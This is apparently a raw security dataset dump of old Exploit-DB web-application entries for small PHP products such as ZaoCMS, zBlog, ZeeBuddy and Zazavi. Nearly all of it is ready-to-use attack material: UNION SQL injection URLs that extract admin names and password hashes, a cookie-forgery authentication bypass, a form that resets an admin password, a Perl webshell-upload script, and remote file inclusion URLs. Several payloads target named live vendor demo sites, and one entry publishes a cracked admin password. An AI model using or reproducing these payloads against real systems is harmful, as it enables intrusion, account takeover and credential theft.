deardaniel/secdata-raw huggingface dataset:
Exploit-DB #8769
Description: ZaoCMS - 'user_id' SQL Injection
Type: webapps
Platform: php
Date: 2009-05-22
Author: Qabandi

Exploit:
                  ||          ||   | ||
           o_,_7 _||  . _o_7 _|| q_|_||  o_w_,
          ( :   /    (_)    /           (   .


=By: 	Qabandi
=Email:	iqa[a]hotmail.fr

	From Kuwait PEACE

=Vuln:		ZaoCMS - SQL Injection Vulnerability
=INFO:		http://zaocms.com/
=BUY:  		http://zaocms.com/
=DORK:		--


@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@-SQL-Injection-PoC-@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
First we need to use the "Insecure cookiue handling" vulnerability, found at http://milw0rm.com/exploits/8763

You add the cookie, javascript:document.cookie="admin=stgAdmin;path=/";

then go to:
http://localhost/admin/modules/Users/edit_user.php?user_id=3 UNION SELECT 1,2,version(),4,USER(),6,DATABASE(),8,9,10,11,12--



LIVE DEMO:
http://demo.zaocms.com/admin/modules/Users/edit_user.php?user_id=3 UNION SELECT 1,2,version(),4,USER(),6,DATABASE(),8,9,10,11,12--

@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
-=-=-=-==-==-=-3la-ra7atkum-shabab-=-:P=-=-=-==-=-==-=-=-=-=-=-=-=-
=-=-=-=-==-=-=-=-=-=-No--More---Private=-=-=-=-=-=-=-=-=-=-=-=-=-=-
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Salamz: Killer Hack, Mr.Mn7os, Ghost-r00t, All muslim hackers.
Special Thanks: ThE g0bL!N

# milw0rm.com [2009-05-22]
Exploit-DB #8771
Description: ZaoCMS - 'user_updated.php' Remote Change Password
Type: webapps
Platform: php
Date: 2009-05-22
Author: ThE g0bL!N

Exploit:
<form
action="http://demo.zaocms.com/admin/modules/Users/user_updated.php"
method="post" onsubmit="return checkForm(this);" id=form1 Name=form1>
  <h2>Cod[3] By ThE g0bL!N ZaoCMS Remote Change Password
 </h2>
<tittle> ThE g0bL!N</tittle>
   
  <table cellSpacing="0" cellPadding="0" width="100%" border="0">
  <tr><td width="350">
<input type="hidden" name="user_id" value="1" />
  <table cellSpacing="0" cellPadding="0" width="350" class="form_table2"
border="0">
  <tr><td colspan="2" class="grey_bg">
<h4><strong>Contact/Login Info</strong></h4>
  </td></tr><tr><td width="100"
height="20"><strong>Username*</strong></td><td width="100" height="20">
<strong>admin</strong><input name="username" type="hidden"  value="admin"
/>
  </td></tr><tr><td width="100"
height="20"><strong>Password*</strong></td><td width="100" height="20">
<input name="password" type="text" id="password" value="za0" size="20" />
  </td></tr><tr><td width="100" height="20"><strong>Real
Name*</strong></td><td width="100" height="20">
<input name="realname" type="text" value="ZaoCMS Demo Admin" size="20">
  </td></tr>
<tr><td width="100" height="20"><strong>Email</strong><br />
  &nbsp; </td><td width="100" height="20">
    <input name="email" type="text" id="email" value="test@test.com" size="20"
/>
  </td></tr><tr><td width="100" height="20"><strong>Phone</strong></td><td
width="100" height="20">
<p>
 <input type="checkbox" checked="checked" name="is_admin" value="y"
disabled /> Site Administrator Priveleges <p>    
    &nbsp;
  <input type="hidden" name="redir" value="" />
    <input type="submit" value="Save Changes" id="submit" name="submit" 
class="s" />
  </p></td></tr> 

# milw0rm.com [2009-05-22]
Exploit-DB #8763
Description: ZaoCMS - Insecure Cookie Handling
Type: webapps
Platform: php
Date: 2009-05-21
Author: ThE g0bL!N

Exploit:
--------------------------------------------------------------
ZaoCMS Insecure Cookie Handling Vulnerability
---------------------------------------------------------------
Founder :ThE g0bL!N
Home:http://www.zaocms.com/
Software : ZaoCMS
---------------------------------------------------------------
Exploit:
---------
admin/login.php
javascript:document.cookie="admin=stgAdmin;path=/";
Then Go To
admin/edit.php
demo:
-------
http://demo.zaocms.com/admin/login.php
-----------------------------------------------------------------------------------------------------
His0k4  - Dr-HTmL , Dos-Dz TeaM , Snakes TeaM ArAb Academy Security Team,And Ev!L-C0d3r.
-----------------------------------------------------------------------------------------------------

# milw0rm.com [2009-05-21]
Exploit-DB #35734
Description: ZAPms 1.22 - 'nick' SQL Injection
Type: webapps
Platform: php
Date: 2011-05-09
Author: KedAns-Dz

Exploit:
source: https://www.securityfocus.com/bid/47782/info

ZAPms is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

ZAPms 1.22 is vulnerable; other versions may also be affected. 

The following example request is available:

<form action="http://www.example.com/[path]/?sid=1" method="post" id="Login" >
<input name="nick" type="text" id="nick" value="'SQL+CODE+HERE" />
<input name="pwd" id="pwd" type="password" value="adminpwd" />
<input name="submit" type="submit" class="submit_login" value="Login" />
</form>
Exploit-DB #24942
Description: ZAPms 1.41 - SQL Injection
Type: webapps
Platform: php
Date: 2013-04-09
Author: NoGe

Exploit:
=============================================================================================================


  [o] ZAPms <= SQL Injection Vulnerability

       Software : ZAPms
       Version  : 1.41
       Vendor   : http://www.zapms.de
       Author   : NoGe
       Contact  : noge[dot]code[at]gmail[dot]com
       Desc     : ZAPms is free open source web content management system,
                  adapted to the needs of businesses on the Internet.
                  The ZAPms offers many features and modules as well as an expansion interface for maximum capabilities.


=============================================================================================================


  [o] Exploit

       http://localhost/[path]/products?pid=[SQLi]


=============================================================================================================


  [o] PoC

       http://server/products?pid=-14+union+select+1,2,3,4,5,6,7,8,9,version(),database(),12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,user(),43,44,45,46,47,48--&cid=0&tid=&page=&action=details&subaction=product


=============================================================================================================


  [o] Greetz

       Vrs-hCk OoN_BoY Paman zxvf s4va Angela Zhang stardustmemory
       aJe kaka11 matthews wishnusakti inc0mp13te martfella
       pizzyroot Genex H312Y noname tukulesto }^-^{


=============================================================================================================


  [o] April 09 2013 - Papua, Indonesia
Exploit-DB #36082
Description: Zazavi 1.2.1 - '/FileManager/Controller.php' Arbitrary File Upload
Type: webapps
Platform: php
Date: 2011-08-25
Author: KedAns-Dz

Exploit:
source: https://www.securityfocus.com/bid/49309/info

Zazavi is prone to an arbitrary-file-upload vulnerability because the application fails to adequately sanitize user-supplied input.

An attacker can exploit this issue to upload arbitrary code and run it in the context of the webserver process.

Zazavi 1.2.1 is vulnerable; other versions may also be affected. 

#!/usr/bin/perl
system ("title KedAns-Dz");
system ("color 1e");
system ("cls");
use strict;
use warnings;
use LWP::UserAgent;
use HTTP::Request::Common;
print <<INTRO;
|==========================================|
|= Zazavi <=1.2.1 * Arbitrary Shell Upload |
|=   >> Provided By KedAns-Dz <<           |
|=  e-mail : ked-h[at]hotmail.com          |
|==========================================|
INTRO
print "\n";
print "[*] Enter URL(f.e: http://target.com): ";
    chomp(my $url=<STDIN>);
print "\n";
print "[*] Enter File Path (f.e: C:\\Shell.php.gif): "; # File Path For Upload (usage : C:\\Sh3ll.php.gif)
    chomp(my $file=<STDIN>);
my $ua = LWP::UserAgent->new;
my $re = $ua->request(POST $url.'/admin/editor/filemanager/controller.php',
               Content_Type => 'multipart/form-data',
               Content      => 
				[ 
				action => 'uploadFile',
				newfile => 'DzOffendersCr3w.php',
				filepath => $file,
				] );
print "\n";
if($re->is_success) {
    if( index($re->content, "Disabled") != -1 ) { print "[+] Exploit Successfull! File Uploaded!\n"; }
    else { print "[-] File Upload Is Disabled! Failed!\n"; }
} else { print "[-] HTTP request Failed!\n"; }
exit;
Exploit-DB #4772
Description: zBlog 1.2 - SQL Injection
Type: webapps
Platform: php
Date: 2007-12-22
Author: Houssamix

Exploit:
#########################################################################
            zBlog v1.2  Remote SQL Injection Exploit
#########################################################################


## AUTHOR     : H-T Team ( HouSSamix _ ToXiC350 _ CoNaN )
## HOME     : http://no-hack.net

## Script         : zBlog
## Version    : 1.2 
## Site         : http://kaxz01.free.fr/
## Download    : http://kaxz01.free.fr/fichiers/zBlog.zip

## EXPLOITS :

[1]
http://server.com/Path/index.php?page=categ&categ=-1%20union%20select%201,pseudo_admin,motdepasse_admin,4,5,6,7,8,9,10,11,12,13,14,15,16,email_admin%20from%20[table prefix]_admins--
[2]
http://server.com/Path/index.php?page=articles&article=-1%20union%20select%201,pseudo_admin,3,motdepasse_admin,5,6,7,8,9,10,11,12,13,14,15,16,17,email_admin%20from%20[table prefix]_admins--

[table prefix] = by default it is zblog

ex : http://Site.com/zBlog/index.php?page=articles&article=-1%20union%20select%201,pseudo_admin,3,motdepasse_admin,5,6,7,8,9,10,11,12,13,14,15,16,17,email_admin%20from%20zblog_admins--

## Note
admin login is at /admin/

## GREETZ  :  RoMaNcYxHaCkEr , Mahmood_Ali , C_m  and all musulmans hackers

#########################################################################
            zBlog v1.2 Remote SQL Injection Exploit
#########################################################################

exemple of site vulnerable

http://www.xxx.org/zblog/index.php?page=categ&categ=-1%20union%20select%201,pseudo_admin,motdepasse_admin,4,5,6,7,8,9,10,11,12,13,14,15,16,email_admin%20from%20zblog_admins--


account admin with password md5 cracked

user >> Selim
pass >> 6a81060b83b919bc115112bf840eca63 = miles

# milw0rm.com [2007-12-22]
Exploit-DB #3314
Description: ZebraFeeds 1.0 - 'zf_path' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-02-15
Author: ThE dE@Th

Exploit:
To ConTacT mE @ wWw.Asb-May.net/bb
ScRiPt:-http://cazalet.org/zebrafeeds/releases/zebrafeeds-current.zip
Discovered By:- ThE dE@Th <<{AsB-MaY DiScOvEr ExPlIoTs Gr0uP}>>
******************************************************************************
aggregator.php:-
require_once($zf_path . 'includes/feed.php');
require_once($zf_path . 'includes/view.php');
require_once($zf_path . 'includes/template.php');
require_once($zf_path . 'magpierss/rss_fetch.inc');

controller.php:-
require_once($zf_path . 'includes/template.php');
require_once($zf_path . 'includes/opml.php');

********************************************************************************
ExPlOiT:-http://www.SitE.com/newsfeeds/includes/aggregator.php?zf_path=[Shell]
ExPlOiT:-http://www.SitE.com/newsfeeds/includes/controller.php?zf_path=[Shell]
*******************************************************************************

# milw0rm.com [2007-02-15]
Exploit-DB #45523
Description: Zechat 1.5 - 'uname' SQL Injection
Type: webapps
Platform: php
Date: 2018-10-03
Author: Ihsan Sencan

Exploit:
# Exploit Title: Zechat 1.5 - 'uname' SQL Injection
# Exploit Author: Ihsan Sencan
# Date: 2018-10-02
# Dork: N/A
# Vendor Homepage: https://bylancer.com/
# Software Link: https://bylancer.com/products/zechat-php-script/index.php
# Version: 1.5
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A

# POC: 
# 1)

https://Target/products/zechat-php-script/profile.php?uname=demo

'+UNION(SELECT+0x283129,0x283229,0x283329,0x283429,0x283529,0x283629,0x283729,0x283829,make_set(6,@:=0x0a,(select(1)from(information_schema.columns)where@:=make_set(511,@,0x3c6c693e,table_name,column_name)),@),0x28313029,0x28313129,0x28313229,0x28313329,0x28313429,0x28313529,0x28313629,0x28313729,0x28313829,0x28313929,0x28323029,0x28323129,0x28323229)--+-
Exploit-DB #43865
Description: Zechat 1.5 - SQL Injection
Type: webapps
Platform: php
Date: 2018-01-23
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Facebook Style Php Ajax Chat - Zechat 1.5 - SQL Injection
# Dork: N/A
# Date: 23.01.2018
# Vendor Homepage: http://bylancer.com/
# Software Link: https://codecanyon.net/item/facebook-style-php-ajax-chat-zechat/16491266
# Version: 1.5
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2018-5978
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
# 
# 1)
# http://localhost/[PATH]/login.php
# 
# User: ' UNION ALL SELECT 0x31,0x32,0x33,concat(0x63)-- A
# Pass: anything
# 
# # # # #
Exploit-DB #14442
Description: ZeeAdbox 2.x - SQL Injection
Type: webapps
Platform: php
Date: 2010-07-23
Author: SONIC

Exploit:
=======================================================
ZeeAdbox v2x SQL Injection Vulnerability
=======================================================

Name : ZeeAdbox v2x -SQL iNj3cti0n Vulnerabilty
Date : july 23,2010
Critical Level :VERY HIGH
vendor URL :?? http://www.zeeways.com

#######################################################################################################


Author : ..::[ SONiC ]::.. aka ~the_pshyco~ <sonicdefence[at]gmail.com>

Special thanks to : Sid3^effects,r0073r (inj3ct0r.com),L0rd CruSad3r,M4n0j,MA1201,D3aD F0x

Greetz to :www.topsecure.net, iNj3cT0r.com, www.andhrahackers.com

Special Shoutz : H***** [my Girl Frnd] [Elite .NET Programmer]

#######################################################################################################
Description:

OManage Your Advertisers With Complete Ease Using ZeeAdBox v1.1- All-In-One Powerful Banner & Text Ad Solution. Offer a wide range of Advertising spaces on your website. Have your own banner ads/text ads rotating system on your web pages.

#######################################################################################################
Xploit :SQL iNj3cti0n Vulnerabilty

DEMO URL? http://www.site.com/bannerclick.php?bnnnerid=11 [ SQL i ]

###############################################################################################################

# ..::[ SONiC ]::.. aka the_pshyco
Exploit-DB #6230
Description: ZeeBuddy 2.1 - 'adid' SQL Injection
Type: webapps
Platform: php
Date: 2008-08-11
Author: Hussin X

Exploit:
|___________________________________________________|
|
|  ZeeBuddy v2.1(adid) Remote SQL Injection Vulnerability
|
|___________________________________________________
|---------------------Hussin X----------------------|
|
|    Author: Hussin X
|
|    Home :  www.tryag.cc/cc
|
|    email:  darkangel_g85[at]Yahoo[DoT]com
|
|
|___________________________________________________
|                                                   |
|
| script : http://www.zeescripts.com
|
|___________________________________________________|

Exploit:  

www.[target].com/Script/bannerclick.php?adid=-5+union+select+1,2,concat(name,0x3e,pwd),4,5,6,7,8,9+from+admin--



L!VE DEMO: :


http://www.zeebuddy.com/bannerclick.php?adid=-5+union+select+1,2,version(),4,5,6,7,8,9+from+admin--


http://www.zeebuddy.com/bannerclick.php?adid=-5+union+select+1,2,concat(name,0x3e,pwd),4,5,6,7,8,9+from+admin--



____________________________( Greetz )____________________________
|
| tryag.cc | DeViL iRaQ | IRAQ DiveR | IRAQ_JAGUR | str0ke
|   
| CraCkEr | Iraqihack | FAHD | mos_chori | Silic0n 
|
|_________________________________________________________________


                       Im IRAQi

# milw0rm.com [2008-08-11]
Exploit-DB #43083
Description: ZeeBuddy 2x - 'groupid' SQL Injection
Type: webapps
Platform: php
Date: 2017-10-30
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: ZeeBuddy 2x - SQL Injection
# Dork: N/A
# Date: 30.10.2017
# Vendor Homepage: http://www.zeescripts.com/
# Software Link: http://www.zeebuddy.com/
# Demo: http://www.zeebuddy.com/demo/
# Version: 2x
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2017-15976
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
# 
# http://localhost/[PATH]/admin/editadgroup.php?groupid=[SQL]
# 
# -1++/*!00009UNION*/+/*!00009SELECT*/+0x31,0x32,0x33,0x34,0x35,0x36,0x37,0x38,(SELECT+GROUP_CONCAT(0x557365726e616d653a,name,0x3c62723e,0x[PII_REDACTED]6f72643a,pwd+SEPARATOR+0x3c62723e)+FROM+admin)--+-
# 
# Parameter: groupid (GET)
#     Type: boolean-based blind
#     Title: AND boolean-based blind - WHERE or HAVING clause
#     Payload: groupid=1 AND 3188=3188
# 
#     Type: AND/OR time-based blind
#     Title: MySQL >= 5.0.12 AND time-based blind
#     Payload: groupid=1 AND SLEEP(5)
# 
#     Type: UNION query
#     Title: Generic UNION query (NULL) - 9 columns
#     Payload: groupid=1 UNION ALL SELECT CONCAT(0x71707a7071,0x[PII_REDACTED][PII_REDACTED]5a494a486368477a6e[PII_REDACTED][PII_REDACTED][PII_REDACTED]66676b78536c,0x[PII_REDACTED]),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- oMUM
# 	
# Etc..
# # # # #
Exploit-DB #34318
Description: Zeecareers 2.0 - Cross-Site Scripting / Authentication Bypass
Type: webapps
Platform: php
Date: 2009-12-13
Author: bi0

Exploit:
source: https://www.securityfocus.com/bid/41689/info


Zeecareers is prone to a cross-site scripting vulnerability and multiple authentication-bypass vulnerabilities.

An attacker may leverage the cross-site scripting issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

The attacker may leverage the authentication-bypass issues to access information without proper authentication.

Zeecareers version 2.0 is vulnerable; other versions may also be affected. 

The following example URI is available:

http://www.example.com/basic_search_result.php?title=[XSS]
Exploit-DB #10398
Description: ZeeCareers 2.x - PHP HR Manager Website (Cross-Site Scripting / Authentication Bypass)
Type: webapps
Platform: php
Date: 2009-12-12
Author: bi0

Exploit:
# Title: ZeeCareers v2x - PHP HR Manager Website [ XSS / Auth Bypass ]
# Date: 12/12/2009
# Author: bi0
# Software Link: http://www.zeecareers.com/
# Version: 2x
# CVE : ()
# Code :

                ______     __     ______
               /\  == \   /\ \   /\  __ \
               \ \  __<   \ \ \  \ \ \/\ \
                \ \_____\  \ \_\  \ \_____\
                 \/_____/   \/_/   \/_____/

                 [PII_REDACTED] 01001111

[#]----------------------------------------------------------------[#]
#
# [+] ZeeCareers v2x - PHP HR Manager Website [ XSS / Auth Bypass ]
#
#  // Author Info
# [x] Author: bi0
# [x] Contact: bukibv@hotmail.com
# [x] Homepage : www.ssteam.ws
# [x] Thanks: packetdeath,redking,Zer0flag,sp1r1t and ssteam.ws ...
#
#   // Software Info
# [x] Name : ZeeCareers v2x - PHP HR Manager Website
# [x] Vendor : http://www.zeecareers.com/
# [x] Version : 2x
# [x] Price : 149.00 USD
#
[#]-------------------------------------------------------------------------------------------[#]
#
# [x] Exploit :
#
#    [XSS]
#
#    http://localhost/basic_search_result.php?title=[XSS]
#
#    [Auth Bypass]
#
#    http://localhost/jobseekers/editprofile.php
#    http://localhost/jobseekers/forgot.php
#    http://localhost/jobseekers/additionalfeatures.php
#
#    [ And ]
#
#    http://localhost/employers/editprofile.php
#    http://localhost/employers/employer_reg.php
#
#
[#]------------------------------------------------------------------------------------------[#]

#EOF
Exploit-DB #6608
Description: ZEELYRICS 2.0 - 'bannerclick.php' SQL Injection
Type: webapps
Platform: php
Date: 2008-09-28
Author: Hussin X

Exploit:
|___________________________________________________|
|
| ZEELYRICS v2.0 (bannerclick.php adid) Remote SQL Injection Vulnerability
|
|___________________________________________________
|---------------------Hussin X----------------------|
|
|    Author: Hussin X
|
|    Home : IQ-SecuritY  >   www.IQ-tY.com
|
|    email:  darkangel_g85[at]Yahoo[DoT]com
|
|
|___________________________________________________
|                                                   |
|
| script http://zeeways.com/main/products/ZEELYRICS-v2.0.html
|
|___________________________________________________|

Exploit: 
________



www.[target].com/Script/bannerclick.php?adid=-5+union+select+1,2,concat(name,0x3e,pwd),4,5,6,7,8,9+from+admin--




L!VE DEMO:
_________


http://www.zeelyrics.com/bannerclick.php?adid=-5+union+select+1,2,concat(name,0x3e,pwd),4,5,6,7,8,9+from+admin--





___________________


Admin  LogiN :

www.[target].com/Script/admin/


____________________________( Greetz )_________________________________
|
|    All members of the Forum WwW.IQ-ty.CoM |  WwW.TrYaG.CC |
|
|  My friends : DeViL iRaQ | IRAQ DiveR | IRAQ_JAGUR | CraCkEr
|
|     FAHD | Iraqihack  | str0ke | Cyber-Zone
|_____________________________________________________________________


                       Im IRAQi

# milw0rm.com [2008-09-28]
Exploit-DB #7072
Description: ZEEMATRI 3.0 - 'adid' SQL Injection
Type: webapps
Platform: php
Date: 2008-11-09
Author: Hussin X

Exploit:
|___________________________________________________|
|
| ZEEMATRI v3.0 (bannerclick.php adid) Remote SQL Injection Vulnerability
|
|___________________________________________________
|---------------------Hussin X----------------------|
|
|    Author: Hussin X
|
|    Home : www.IQ-TY.com & www.TrYaG.cc
|
|    email: darkangeL_G85@Yahoo.COM
|
|
|___________________________________________________
|                                                   |
|
| script: http://zeeways.com/php-software/zeematri-v3.0.html
|
| Dork: "Powered by ZeeMatri"
|
|___________________________________________________|

Exploit:
________



www.[target].com/Script/bannerclick.php?adid=-5+union+select+1,2,concat(name,0x3e,pwd),4,5,6,7,8,9+from+admin--




L!VE DEMO:
_________


http://zeematri.com/bannerclick.php?adid=-5+union+select+1,2,concat(name,0x3e,pwd),4,5,6,7,8,9+from+admin--





___________________


Admin  LogiN :

www.[target].com/Script/admin/

# milw0rm.com [2008-11-09]